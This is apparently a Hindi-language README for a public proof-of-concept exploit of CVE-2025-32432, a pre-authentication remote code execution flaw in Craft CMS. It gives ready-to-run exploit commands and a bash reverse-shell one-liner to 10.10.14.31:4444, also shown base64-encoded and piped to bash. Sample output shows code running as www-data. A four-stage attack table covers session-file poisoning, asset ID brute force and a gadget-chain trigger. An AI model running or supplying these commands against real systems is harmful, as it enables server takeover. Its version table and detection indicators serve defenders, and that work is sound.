
एक्सप्लॉइट, CVE-2025-32432 के लिए POC, CraftCMS2Shell
Craft CMS में क्रिटिकल प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन
प्रभावित: Craft CMS 3.x, 4.x, और 5.x (5.6.16 तक)
जानकारी: यह एक्सप्लॉइट HackTheBox Orion मशीन पर परीक्षण किया गया है
इस रिपॉज़िटरी में CVE-2025-32432 के लिए एक proof-of-concept एक्सप्लॉइट है, जो Craft CMS में एक क्रिटिकल प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन भेद्यता है। यह भेद्यता एक बिना प्रमाणीकरण वाले हमलावर को Yii2 के behavior attachment तंत्र और __class override तकनीक के माध्यम से PHP ऑब्जेक्ट इंस्टैंशिएशन का दोहन करके सर्वर पर मनमाना PHP कोड निष्पादित करने की अनुमति देती है।
pip install requests urllib3
python3 exploit.py -u http://target.com -c "id"
# Start listener on your machine
penelope -p 4444
# base64 encode the payload
echo 'exec bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' | base64
# Run exploit
python3 exploit.py -u http://orion.htb -c "echo 'ZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMxLzQ0NDQgMD4mMQo=' | base64 -d | bash"
python3 exploit.py -u http://target.com -c "whoami" -a 11
python3 exploit.py -u http://target.com -c "id" \
-s "/tmp/sess_{}"
usage: exploit.py [-h] -u URL -c COMMAND [-a ASSET_ID] [-m MAX_ASSET]
[-s SESSION_PATH] [-q]
CVE-2025-32432 Craft CMS Pre-Auth RCE Exploit v2
options:
-h, --help show this help message and exit
-u, --url URL Target URL (e.g., http://target.com)
-c, --command COMMAND
Command to execute
-a, --asset-id ASSET_ID
Known valid asset ID (skip brute-force)
-m, --max-asset MAX_ASSET
Max asset ID to brute-force (default: 300)
-s, --session-path SESSION_PATH
Session file path template (default: /var/lib/php/sessions/sess_{})
-q, --quiet Suppress verbose output
$ python3 exploit.py -u http://orion.htb -c "id"
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-32432 Craft CMS Pre-Auth RCE PoC v2 ║
║ Target: http://orion.htb ║
║ Command: id ║
╚══════════════════════════════════════════════════════════════╝
[+] Stage 1: Getting session cookie and CSRF token...
[✓] Session ID: q6458g6g8njeimu59n9l65cu1e
[✓] CSRF Token: ofuxX9FLAA7gSDxLqxYtJGLZVHpPCm...
[+] Stage 2: Poisoning session file with PHP code...
[+] Poison request returned: 200
[✓] Session file poisoned
[+] Stage 3: Brute-forcing asset ID (1-300)...
[✓] Valid asset ID found: 1 (HTTP 200)
[+] Stage 4: Triggering RCE via PhpManager gadget chain...
[+] Target session file: /var/lib/php/sessions/sess_q6458g6g8njeimu59n9l65cu1e
[+] Trigger request returned: 200
[✓] COMMAND OUTPUT:
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
| चरण | क्रिया | एंडपॉइंट | प्रमाणीकरण |
|---|---|---|---|
| 1 | सेशन कुकी + CSRF टोकन निकालें | GET /admin/login | नहीं |
| 2 | सेशन फ़ाइल में PHP पेलोड इंजेक्ट करें | GET /index.php?p=admin/dashboard&a=<PHP> | नहीं |
| 3 | मान्य एसेट ID को brute-force करें | POST /index.php?p=admin/actions/assets/generate-transform | नहीं |
| 4 | PhpManager गैजेट के माध्यम से RCE ट्रिगर करें | POST /index.php?p=admin/actions/assets/generate-transform&cmd=<CMD> | नहीं |
| शाखा | प्रभावित | फिक्स्ड |
|---|---|---|
| 3.x | 3.0.0-RC1 – 3.9.14 | 3.9.15+ |
| 4.x | 4.0.0-RC1 – 4.14.14 | 4.14.15+ |
| 5.x | 5.0.0-RC1 – 5.6.16 | 5.6.17+ |
/admin/actions/assets/generate-transform पर कई POST अनुरोधa= पैरामीटर के साथ एडमिन पेजों पर GET अनुरोधas फ़ील्ड की उपस्थितियह टूल केवल अधिकृत सुरक्षा परीक्षण और शोध उद्देश्यों के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। परीक्षण से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
MIT लाइसेंस - विवरण के लिए LICENSE फ़ाइल देखें।